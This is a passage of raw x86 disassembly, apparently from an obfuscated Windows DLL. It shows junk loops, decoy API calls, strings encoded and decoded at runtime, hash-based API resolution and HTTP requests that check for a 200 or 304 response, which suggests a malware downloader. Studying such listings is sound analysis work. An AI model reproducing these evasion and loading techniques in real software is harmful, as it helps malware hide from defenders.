mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x344], 0xb389fa18
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x1001ca0a
mov eax, dword [ebp - 0x1c]
mov ecx, 0xec2cfccf
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x318]
cmp ecx, eax
mov eax, dword [ebp - 0x344]
sbb edx, edx
add edx, 0x81b70039
neg edx
push 2
sbb edx, edx
add edx, 0x495228f9
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, edx
setge cl
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x28]
pop ecx
cmp dword [ebp - 0x28], 0x2b
jl 0x1001ca05
push 1
push 1
mov dl, 1
mov ecx, 0x1855
call fcn.1001b517
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x1d
pop ecx
pop ecx
jg 0x1001c9d3
push 2
pop edi
mov dword [ebp - 0x4c], 8
mov dword [ebp - 0x238], ebx
push 4
mov dword [ebp - 0x244], 0xe18bd2e8
pop esi
mov dword [ebp - 0x248], esi
cmp dword [ebp - 0x4c], 0xad6
jne 0x1001cbc3
push 1
lea ecx, [ebp - 0x278]
call fcn.1000e06f
push ecx
lea eax, [ebp - 0x228]
mov byte [ebp - 4], 0x18
push eax
push 0x605c
lea eax, [ebp - 0x278]
mov dword [ebp - 0x6c], edi
push eax
push 0x7a27
xor dl, dl
call fcn.1001b861
add esp, 0x14
mov dword [ebp - 0x4c], ebx
cmp dword [ebp - 0x4c], ebx
jl 0x1001cbb2
mov dword [ebp - 0x60], 0x70a77c87
mov dword [ebp - 0x14], ebx
jmp 0x1001cb21
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x298], 0xfff9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1001cb10
mov dword [ebp - 0x60], ebx
cmp dword [ebp - 0x60], ebx
jl 0x1001cb89
dec dword [ebp - 0x298]
mov dword [ebp - 0x6c], ebx
jmp 0x1001cb7e
push ecx
mov dword [ebp - 0x14], 0xde9e8436
lea edx, [ebp - 0x59]
mov byte [ebp - 0x59], bl
mov cl, 1
push 0x3ed7
call fcn.1001b578
mov dword [ebp - 0x14], 1
pop ecx
pop ecx
cmp dword [ebp - 0x14], ebx
jl 0x1001cb7b
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x60]
mov edx, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x278]
mov eax, dword [ecx + eax*4]
mov dword [ecx + edx*4], eax
dec dword [ebp - 0x14]
jns 0x1001cb61
inc dword [ebp - 0x6c]
cmp dword [ebp - 0x6c], 1
jle 0x1001cb39
dec dword [ebp - 0x60]
jns 0x1001cb2e
lea eax, [ebp - 0x6c]
mov edx, 0x5948
push eax
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x278]
push ebx
push eax
lea ecx, [ebp - 0x60]
call fcn.1001ab29
add esp, 0x10
dec dword [ebp - 0x4c]
jns 0x1001cb04
lea ecx, [ebp - 0x278]
mov byte [ebp - 4], 0x11
call fcn.1000e145
jmp 0x1001cbda
push ebx
lea eax, [ebp - 0x4c]
mov ecx, 0x1844
push eax
push 0x51bc
call fcn.1001b846
add esp, 0xc
lea eax, [ebp - 0x248]
mov edx, 0x6051
push eax
push 0x61c7
push 0x231
push ecx
push ebx
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0x238]
push eax
call fcn.1001b747
add esp, 0x20
push ebx
push 0x2c3b
push 0x78ee
call fcn.1003ef9b
pop ecx
pop ecx
call eax
mov dword [ebp - 0x24], 8
xor ecx, ecx
inc ecx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x40], 0x452a26f3
mov dword [ebp - 0x38], 0x1637c1d6
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x30], 0x70512a30
mov dword [ebp - 0x14], ebx
jmp 0x1001cc57
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x284], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1001cc4a
mov dword [ebp - 0x24], edi
cmp dword [ebp - 0x24], ebx
jl 0x1001cd36
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x38], ecx
lea ecx, [ebp - 0x26c]
push edi
call fcn.1000e06f
mov dword [ebp - 0x2c], 0x145b
mov dword [ebp - 0x14], 0x35c52658
mov dword [ebp - 0x14], ebx
jmp 0x1001cca1
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x26c]
mov dword [eax + ecx*4], 0xfffffff9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1001cc8e
mov eax, dword [ebp - 0x280]
xor edx, edx
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x27c]
cmp eax, ecx
mov eax, dword [ebp - 0x18]
setg dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x26c]
setl cl
imul ecx, dword [eax]
cmp ecx, dword [ebp - 0x284]
je 0x1001ccdd
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x284]
mov eax, dword [ebp - 0x1c]
dec dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
mov eax, dword [ebp - 0x26c]
setg dl
xor ecx, ecx
cmp edx, dword [eax + 4]
mov eax, dword [ebp - 0x18]
setg cl
mov dword [ebp - 0x38], ecx
xor ecx, ecx
cmp dword [ebp - 0x38], eax
sete cl
mov dword [ebp - 0x14], ecx
lea ecx, [ebp - 0x26c]
call fcn.1000e145
dec dword [ebp - 0x24]
push 1
pop ecx
jns 0x1001cc69
mov byte [ebp - 0x31], bl
cmp byte [ebp - 0x31], 0
je 0x1001cd4f
push ecx
mov dl, cl
mov ecx, 0xa8c
push ebx
call fcn.1001b517
pop ecx
pop ecx
xor eax, eax
lea ecx, [ebp - 0x290]
push edi
mov word [ebp - 0x354], ax
call fcn.1000e06f
mov byte [ebp - 4], 0x19
mov eax, 0x6d8ff8cd
mov dword [ebp - 0x14], 9
mov dl, 1
mov dword [ebp - 0x314], eax
mov dword [ebp - 0x310], eax
push ecx
mov dword [ebp - 0x30c], eax
mov dword [ebp - 0x308], eax
lea eax, [ebp - 0x290]
push 0x388b
push eax
lea eax, [ebp - 0x68]
push 0x7b67
push eax
call fcn.1001b861
add esp, 0x14
mov dword [ebp - 0x68], ebx
jmp 0x1001cdc2
mov eax, dword [ebp - 0x68]
mov dword [ebp + eax*4 - 0x3f4], 0xf3ac9d73
inc dword [ebp - 0x68]
cmp dword [ebp - 0x68], esi
jl 0x1001cdb1
mov edx, dword [ebp - 0x290]
xor ecx, ecx
mov eax, dword [edx]
mov dword [ebp - 0x14], eax
mov eax, dword [edx + 4]
cmp eax, dword [edx]
setge cl
test ecx, ecx
jle 0x1001cdec
cmp dword [ebp - 0x14], ebx
jne 0x1001cdec
xor ecx, ecx
mov esi, ebx
inc ecx
jmp 0x1001cdf1
xor ecx, ecx
inc ecx
mov esi, ecx
xor eax, eax
cmp esi, 0xce4b
setge al
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x290]
mov dword [ebp - 0x3e8], ecx
mov esi, dword [eax]
cmp esi, ecx
jle 0x1001ce1a
mov eax, ebx
test esi, esi
je 0x1001ce1c
mov eax, ecx
sub eax, dword [edx + 4]
je 0x1001ce25
test esi, esi
jne 0x1001ce27
mov ecx, ebx
mov dword [ebp - 0x314], ecx
lea ecx, [ebp - 0x290]
mov byte [ebp - 4], 0x11
call fcn.1000e145
push 0x54d3
mov dword [ebp - 0x48], ebx
mov edx, 0x5e49
push 1
mov dword [ebp - 0x14], 0x61928c17
push ecx
mov dword [ebp - 0x1c], 0x16580849
mov ecx, 0x4693
mov dword [ebp - 0x38], ebx
call fcn.1001b5a1
add esp, 0xc
mov dword [ebp - 0x14], ebx
jmp 0x1001ce85
mov dword [ebp - 0x38], 3
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x38], eax
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffe9
jg 0x1001ce6f
push 4
pop eax
push 0x31
mov byte [ebp - 0x158], al
mov ecx, ebx
mov byte [ebp - 0x149], al
mov byte [ebp - 0x130], al
mov byte [ebp - 0x128], al
pop eax
push 2
mov dword [ebp - 0x164], 0x80d8e05
mov dword [ebp - 0x160], 0x71177c01
mov dword [ebp - 0x15c], 0x5167011
mov dword [ebp - 0x157], 0xbc445eb5
mov dword [ebp - 0x153], 0xf1f7924
mov dword [ebp - 0x14f], 0x69187302
mov word [ebp - 0x14b], 0x1d1c
mov dword [ebp - 0x148], 0x12051e73
mov dword [ebp - 0x144], 0xe0b1474
mov dword [ebp - 0x140], 0xb682314
mov dword [ebp - 0x13c], 0x250b0376
mov dword [ebp - 0x138], 0x1a3e1b45
mov word [ebp - 0x134], 0x673
mov byte [ebp - 0x132], bl
mov byte [ebp - 0x131], 0xa
mov byte [ebp - 0x12f], 0xc
mov byte [ebp - 0x12e], bl
mov dword [ebp - 0x12d], 0x191d1909
mov byte [ebp - 0x129], 0x19
mov dword [ebp - 0x127], 0xe070621
mov word [ebp - 0x123], 0x120
mov byte [ebp - 0x121], 0x22
mov byte [ebp - 0x120], bl
mov dword [ebp - 0x11f], 0x7508080f
mov dword [ebp - 0x11b], 0x1c137510
mov word [ebp - 0x117], 0x1c15
mov byte [ebp - 0x115], bl
mov byte [ebp - 0x114], 0x4a
mov word [ebp - 0x53a], ax
pop esi
mov dword [ebp - 0x18c], ecx
cmp esi, 0xc
jne 0x1001cfc3
push 5
pop ecx
push 0xf
mov dword [ebp - 0x18c], ecx
pop esi
jmp 0x1001d019
movzx edx, byte [ebp + esi - 0x163]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x166]
movzx eax, word [ebp + eax*2 - 0x544]
mov ecx, eax
and eax, edx
or ecx, edx
mov dl, 1
sub ecx, eax
movzx eax, byte [ebp + esi - 0x164]
push ecx
push 0x58ab
mov word [ebp + eax*2 - 0x544], cx
lea eax, [ebp - 0x18c]
push eax
mov ecx, 0x6070
call fcn.1001b69e
mov ecx, dword [ebp - 0x18c]
add esp, 0xc
add esi, 2
cmp esi, 0x51
jb 0x1001cfb0
xor eax, eax
mov dword [ebp - 0x2a8], 7
mov word [ebp - 0x4f8], ax
lea ecx, [ebp - 0x2bc]
mov word [ebp - 0x2bc], ax
lea eax, [ebp - 0x544]
push eax
mov dword [ebp - 0x2ac], ebx
call fcn.10019c41
mov byte [ebp - 4], 0x1a
lea eax, [ebp - 0x3c4]
push dword [ebp - 0x228]
movdqa xmm0, xmmword [0x1006e950]
lea ecx, [ebp - 0x204]
push eax
lea eax, [ebp - 0x3d4]
mov dword [ebp - 0x204], ebx
push eax
push ebx
movdqu xmmword [ebp - 0x3d4], xmm0
mov dword [ebp - 0x200], ebx
mov dword [ebp - 0x1fc], ebx
call fcn.10011607
mov byte [ebp - 4], 0x1b
mov dword [ebp - 0x14], 0xfffffffc
mov dword [ebp - 0x38], 0xffffffff
mov dword [ebp - 0x14], ebx
jmp 0x1001d0c1
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1a4], 0xfffffffd
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x1001d0b0
mov dword [ebp - 0x14], 3
cmp dword [ebp - 0x14], ebx
jl 0x1001d151
mov dword [ebp - 0x74], 0xba1bf2b2
mov dword [ebp - 0x240], 0x77cc4247
mov dword [ebp - 0x74], 3
cmp dword [ebp - 0x74], ebx
jl 0x1001d14c
push 0x6e28
lea eax, [ebp - 0x208]
mov dword [ebp - 0x208], ebx
push eax
lea eax, [ebp - 0x74]
push eax
push ecx
push 1
push 0x2c07
push 0x2c7e
push 0x15e7
lea edx, [ebp - 0x204]
call fcn.1001b747
push 0x5136
push 0x6e0e
push 1
push 0x7947
lea edx, [ebp - 0x240]
mov ecx, 0x29a2
call fcn.1001ab29
add esp, 0x30
dec dword [ebp - 0x74]
jns 0x1001d0f0
dec dword [ebp - 0x14]
jns 0x1001d0d3
lea ecx, [ebp - 0x204]
mov byte [ebp - 4], 0x1a
call fcn.1000e145
push 0x13
pop ecx
xor eax, eax
mov dword [ebp - 0x10f], 0x7771154
lea edi, [ebp - 0x544]
mov dword [ebp - 0x10b], 0xd721b75
rep stosd dword es:[edi], eax
push 0x15
pop edx
push 4
stosw word es:[edi], ax
mov ecx, ebx
pop eax
push 0x33
mov byte [ebp - 0x101], al
mov byte [ebp - 0xff], al
mov byte [ebp - 0xe5], al
mov byte [ebp - 0xc9], al
pop eax
push 2
pop esi
push esi
mov byte [ebp - 0x110], dl
mov dword [ebp - 0x107], 0x54e2570
mov word [ebp - 0x103], 0x1d4d
mov byte [ebp - 0x100], 0x21
mov dword [ebp - 0xfe], 0x7116730b
mov dword [ebp - 0xfa], 0x602021c
mov dword [ebp - 0xf6], 0x7b230f0a
mov dword [ebp - 0xf2], 0x69036f13
mov dword [ebp - 0xee], 0x74100117
mov dword [ebp - 0xea], 0x70060708
mov byte [ebp - 0xe6], 0x14
mov word [ebp - 0xe4], 0x3e02
mov byte [ebp - 0xe2], 0x74
mov byte [ebp - 0xe1], bl
mov dword [ebp - 0xe0], 0x204f2439
mov dword [ebp - 0xdc], 0x187f1e0d
mov dword [ebp - 0xd8], 0x11a0c6b
mov dword [ebp - 0xd4], 0x1a6b0971
mov dword [ebp - 0xd0], 0x12010f1d
mov word [ebp - 0xcc], 0xe02
mov byte [ebp - 0xca], 0x1e
mov dword [ebp - 0xc8], 0x197b2214
mov word [ebp - 0xc4], 0x1f72
mov byte [ebp - 0xc2], 9
mov word [ebp - 0x4ca], ax
mov dword [ebp - 0x184], ecx
pop edi
mov dword [ebp - 0x30], esi
cmp esi, 0x4f
jae 0x1001d3d8
movzx eax, dl
lea eax, [eax*2 + 2]
cmp esi, eax
jne 0x1001d37d
movzx eax, byte [ebp + esi - 0x110]
mov dword [ebp - 0x38], eax
inc eax
mov dword [ebp - 0x184], eax
mov dword [ebp - 0x20], 0x4c48
cmp dword [ebp - 0x20], 0x4fdd
jle 0x1001d351
push ebx
push 0x2372
push 0x234
push ebx
call dword [sym.imp.GDI32.dll_GetPaletteEntries]
mov esi, ebx
mov dword [ebp - 0x2c], ebx
mov ecx, ebx
mov dword [ebp - 0x40], ebx
mov eax, esi
mov dword [ebp - 0x1c], 0x6d66
cdq
idiv ecx
mov esi, edx
mov eax, esi
lea ecx, [ebp - 0x45c]
cdq
push edx
push eax
call fcn.10001a9f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001d315
mov eax, dword [eax]
push eax
call fcn.10047a23
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x45c]
call fcn.1000e875
dec esi
dec dword [ebp - 0x1c]
jne 0x1001d2fb
mov ecx, dword [ebp - 0x40]
mov esi, dword [ebp - 0x2c]
inc ecx
mov dword [ebp - 0x40], ecx
cmp ecx, 0x5f56
jl 0x1001d2ed
inc esi
mov dword [ebp - 0x2c], esi
cmp esi, 0x3d09
jl 0x1001d2e8
mov esi, dword [ebp - 0x30]
mov eax, dword [ebp - 0x38]
dec eax
add esi, eax
cmp dword [ebp - 0x20], 0x4bbc
jge 0x1001d36b
push str.sawle_smcplq_dtkdh
call fcn.10047a23
pop ecx
mov dword [ebp - 4], 0x1a
mov dl, byte [ebp - 0x110]
mov dword [ebp - 0x20], edx
jmp 0x1001d3cb
movzx edx, byte [ebp + esi - 0x10f]
mov eax, esi
sub eax, ecx
push 0xe0a
movzx eax, byte [ebp + eax - 0x112]
movzx ecx, word [ebp + eax*2 - 0x4f4]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x110]
add ecx, edx
mov dl, 1
mov word [ebp + eax*2 - 0x4f4], cx
lea eax, [ebp - 0x184]
push eax
call fcn.1001ac4a
mov edx, dword [ebp - 0x20]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x184]
add esi, edi
jmp 0x1001d28d
xor eax, eax
mov dword [ebp - 0x2cc], 7
mov word [ebp - 0x4a8], ax
lea ecx, [ebp - 0x2e0]
mov word [ebp - 0x2e0], ax
lea eax, [ebp - 0x4f4]
push eax
mov dword [ebp - 0x2d0], ebx
call fcn.10019c41
mov byte [ebp - 4], 0x1e
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x1c], 1
push 4
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x14], ebx
pop ecx
jmp 0x1001d438
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x260], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1001d427
mov dword [ebp - 0x18], ebx
jmp 0x1001d4b2
mov dword [ebp - 0x1c], 0xce4b0ad8
xor ecx, ecx
mov dword [ebp - 0x38], 9
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x260]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x254]
mov dword [ebp - 0x1c], 1
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x25c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x260]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x260]
mov dword [ebp - 0x1c], ebx
imul eax, dword [ebp - 0x18], 0xebf0
add eax, dword [ebp - 0x1c]
cmp eax, 0xffffffff
mov eax, dword [ebp - 0x18]
setl cl
sub ecx, dword [ebp + eax*4 - 0x260]
mov dword [ebp - 0x38], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jle 0x1001d442
push 0x13
xor eax, eax
lea edi, [ebp - 0x4f4]
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x18], 0xf5020f89
mov dword [ebp - 0x20], 0x8787d636
mov dword [ebp - 0x2c], 0x3bdb
cmp dword [ebp - 0x2c], 0x3f6e
jle 0x1001d531
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], 0x43f8
mov esi, dword [ebp - 0x20]
mov edi, ebx
mov ecx, edi
mov eax, esi
sar eax, cl
mov ecx, 0x1007bfb8
cdq
push edx
push eax
call fcn.1000dd80
inc edi
cmp edi, 0x4681
jl 0x1001d4fe
mov esi, dword [ebp - 0x40]
add dword [ebp - 0x20], esi
dec dword [ebp - 0x1c]
jne 0x1001d4f9
inc esi
mov dword [ebp - 0x40], esi
cmp esi, 0x143a
jl 0x1001d4ef
mov dword [ebp - 0x38], 0xfffffff8
mov byte [ebp - 4], 0x1f
cmp dword [ebp - 0x2c], 0x3b7e
jge 0x1001d572
mov edx, str.vpnl_phhzsen_kmh
mov ecx, 0x1007bfb8
call fcn.10010bec
jmp 0x1001d572
mov dword [ebp - 4], 0x1e
mov esi, 0x2c3b
mov dword [ebp - 0x1c], 0x17a6
mov dword [ebp - 0x40], 0xfffffffd
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], ebx
jl 0x1001d665
mov dword [ebp - 0x14], 0x6f8c7b5c
mov dword [ebp - 0x84], 8
cmp dword [ebp - 0x30], ebx
jne 0x1001d665
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jne 0x1001d5d2
mov eax, dword [ebp - 0x38]
imul eax, dword [ebp - 0x20], 7
test eax, eax
jne 0x1001d5d2
mov ecx, ebx
jmp 0x1001d5d5
xor ecx, ecx
inc ecx
xor eax, eax
cmp ecx, 0xfffffffa
setge al
sub eax, dword [ebp - 0x14]
neg eax
sbb eax, eax
xor edx, edx
inc eax
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x84]
mov eax, dword [ebp - 0x14]
cmp eax, ecx
mov eax, dword [ebp - 0x1c]
setne dl
mov dword [ebp - 0x40], edx
xor edx, edx
cmp dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x18]
setg dl
xor ecx, ecx
cmp edx, eax
setg cl
cmp ecx, 3
jl 0x1001d631
cmp dword [ebp - 0x18], ebx
jne 0x1001d665
jmp 0x1001d65c
push ecx
lea eax, [ebp - 0x174]
mov dword [ebp - 0x174], 0xf85a
push eax
push ebx
push 0x3f71
mov edx, 0x7bd2
lea ecx, [ebp - 0x84]
call fcn.1001b0a5
add esp, 0x10
dec dword [ebp - 0x18]
jns 0x1001d59e
cmp dword [ebp - 0x2a8], 8
lea ecx, [ebp - 0x404]
push ecx
lea eax, [ebp - 0x2bc]
mov edi, 0x2e8e
cmovae eax, dword [ebp - 0x2bc]
push eax
push esi
push edi
call fcn.1003ef9b
pop ecx
pop ecx
call eax
test eax, eax
jne 0x1001dc18
cmp dword [ebp - 0x2cc], 8
lea ecx, [ebp - 0x414]
push ecx
lea eax, [ebp - 0x2e0]
cmovae eax, dword [ebp - 0x2e0]
push eax
push esi
push edi
call fcn.1003ef9b
pop ecx
pop ecx
call eax
test eax, eax
jne 0x1001dc18
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x404]
push eax
push 3
push ebx
lea eax, [ebp - 0x414]
push eax
push esi
push 0x37da
call fcn.1003ef9b
pop ecx
pop ecx
call eax
test eax, eax
js 0x1001dc18
cmp dword [ebp - 0x48], 0
je 0x1001dc18
push ecx
lea eax, [ebp - 0x3b4]
mov dl, 1
push eax
call fcn.1001b7e0
pop ecx
pop ecx
push 0x65
xor eax, eax
mov word [ebp - 0x7c], 0xd801
mov word [ebp - 0x3ac], ax
pop eax
push 2
pop esi
push esi
mov byte [ebp - 0x7a], bl
mov word [ebp - 0x79], 0x222
mov byte [ebp - 0x77], 0x33
mov word [ebp - 0x19e], ax
pop edi
movzx eax, byte [ebp + esi - 0x7e]
movzx ecx, byte [ebp + esi - 0x7b]
movzx edx, word [ebp + eax*2 - 0x1a0]
mov eax, edx
and eax, ecx
add eax, eax
sub edx, eax
movzx eax, byte [ebp + esi - 0x7c]
add edx, ecx
add esi, edi
mov word [ebp + eax*2 - 0x1a0], dx
cmp esi, 6
jb 0x1001d73a
xor eax, eax
mov dword [ebp - 0x1c8], 7
mov word [ebp - 0x19a], ax
lea ecx, [ebp - 0x1dc]
mov word [ebp - 0x1dc], ax
lea eax, [ebp - 0x1a0]
push eax
mov dword [ebp - 0x1cc], ebx
call fcn.10019c41
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x1dc]
cmp dword [ebp - 0x1c8], 8
mov eax, dword [ebp - 0x1cc]
cmovae ecx, dword [ebp - 0x1dc]
push dword [ebp - 0x1a4]
mov dword [ebp - 0x1a0], ebx
mov dword [ebp - 0x19c], ebx
lea eax, [ecx + eax*2]
mov dword [ebp - 0x214], ebx
lea ecx, [ebp - 0x1dc]
mov dword [ebp - 0x210], ebx
cmovae ecx, dword [ebp - 0x1dc]
push eax
push ecx
lea ecx, [ebp - 0x214]
mov dword [ebp - 0x20c], ebx
call fcn.1001a945
push 0x6f44
push ecx
push ecx
lea eax, [ebp - 0x214]
mov byte [ebp - 4], 0x22
push eax
push 0x1501
mov cl, 1
call fcn.1001b7ff
mov ecx, dword [ebp - 0x80]
add esp, 0x14
mov esi, dword [ecx + 0x14]
cmp esi, 8
jb 0x1001d82b
mov edx, dword [ecx]
jmp 0x1001d82d
mov edx, ecx
mov eax, dword [ecx + 0x10]
lea eax, [edx + eax*2]
cmp esi, 8
jb 0x1001d83a
mov ecx, dword [ecx]
push dword [ebp - 0x1a4]
mov dword [ebp - 0x1e8], ebx
push eax
push ecx
lea ecx, [ebp - 0x1e8]
mov dword [ebp - 0x1e4], ebx
mov dword [ebp - 0x1e0], ebx
call fcn.1001a945
lea eax, [ebp - 0x178]
mov byte [ebp - 4], 0x23
push eax
lea ecx, [ebp - 0x1e8]
mov dword [ebp - 0x178], ebx
call fcn.10019b4c
cmp dword [ebp - 0x1c8], 8
lea edx, [ebp - 0x1dc]
lea esi, [ebp - 0x354]
mov eax, dword [ebp - 0x48]
cmovae edx, dword [ebp - 0x1dc]
sub esp, 0x10
mov edi, esp
sub esp, 0x10
mov ecx, dword [eax]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x354]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x3b4]
push dword [ebp - 0x1e8]
push edx
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x1c]
test eax, eax
js 0x1001dbdf
mov esi, dword [ebp - 0x1b0]
mov cl, 1
mov dword [ebp - 0x170], ebx
cmp esi, dword [ebp - 0x1ac]
je 0x1001d934
add esi, 0x18
test cl, cl
je 0x1001d91c
cmp dword [esi + 0x14], 8
jb 0x1001d8fb
mov edi, dword [esi]
jmp 0x1001d8fd
mov edi, esi
cmp dword [esi - 4], 8
jb 0x1001d908
mov edx, dword [esi - 0x18]
jmp 0x1001d90b
lea edx, [esi - 0x18]
mov eax, dword [ebp - 0x48]
push edi
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x20]
mov cl, 1
test eax, eax
jns 0x1001d91e
mov cl, bl
add esi, 0x30
lea eax, [esi - 0x18]
cmp eax, dword [ebp - 0x1ac]
jne 0x1001d8ed
test cl, cl
je 0x1001dbdf
mov eax, dword [ebp - 0x48]
lea esi, [ebp - 0x354]
sub esp, 0x10
mov edi, esp
mov ecx, dword [eax]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x2c]
test eax, eax
js 0x1001dbdf
mov eax, dword [ebp - 0x48]
lea edx, [ebp - 0x170]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x34]
test eax, eax
js 0x1001dbdf
cmp dword [ebp - 0x170], 0x130
je 0x1001d988
cmp dword [ebp - 0x170], 0xc8
jne 0x1001dbdf
mov eax, dword [ebp - 0x48]
lea edx, [ebp - 0x3e4]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x48]
test eax, eax
js 0x1001dbdf
mov dword [ebp - 0x40], 0x4bf4
cmp dword [ebp - 0x40], 0x4d43
jle 0x1001d9fa
mov esi, ebx
mov edi, ebx
mov dword [ebp - 0x1c], 0x6ad2
mov eax, edi
lea ecx, [ebp - 0x48c]
cdq
push edx
push eax
call fcn.10001a9f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001d9d5
mov eax, dword [eax]
push eax
call fcn.10047a23
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x48c]
call fcn.1000e875
add edi, esi
dec dword [ebp - 0x1c]
jne 0x1001d9bb
inc esi
cmp esi, 0x5613
jl 0x1001d9b2
cmp dword [ebp - 0x40], 0x49a1
mov eax, dword [ebp - 0x3dc]
mov dword [ebp - 0x16c], eax
jge 0x1001da1a
push str.kcupmgda_ssab_zmrrlt_awxh
call fcn.10047a23
pop ecx
mov dword [ebp - 4], 0x23
mov ecx, dword [ebp - 0x16c]
test ecx, ecx
je 0x1001dbdf
mov eax, dword [ecx]
lea edx, [ebp - 0x58c]
push 1
push edx
push ecx
call dword [eax + 0x30]
test eax, eax
js 0x1001dbbd
mov dword [ebp - 0x2c], 0x557e
cmp dword [ebp - 0x2c], 0x582b
jle 0x1001dace
mov esi, ebx
mov dword [ebp - 0x40], ebx
mov edi, ebx
mov dword [ebp - 0x1c], ebx
mov ecx, edi
mov dword [ebp - 0x178], esi
mov edi, esi
mov dword [ebp - 0x174], ebx
shl edi, cl
mov esi, ebx
mov ecx, esi
mov eax, edi
shl eax, cl
lea ecx, [ebp - 0x474]
cdq
push edx
push eax
call fcn.10001a9f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001da92
mov eax, dword [eax]
push eax
call fcn.10047a23
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x474]
call fcn.1000e875
inc esi
cmp esi, 0x27db
jl 0x1001da74
mov edi, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x40]
inc edi
mov dword [ebp - 0x1c], edi
cmp edi, 0x6d4a
jl 0x1001da60
inc esi
mov dword [ebp - 0x40], esi
cmp esi, 0x309e
jl 0x1001da5b
cmp dword [ebp - 0x2c], 0x52c4
mov eax, dword [ebp - 0x580]
mov esi, dword [ebp - 0x584]
mov dword [ebp - 0x38], eax
jge 0x1001daf1
push str.vhd_poyhk_wydx_isioavtvz
call fcn.10047a23
pop ecx
push 1
lea eax, [ebp - 0x88]
mov dword [ebp - 4], 0x23
push eax
push ecx
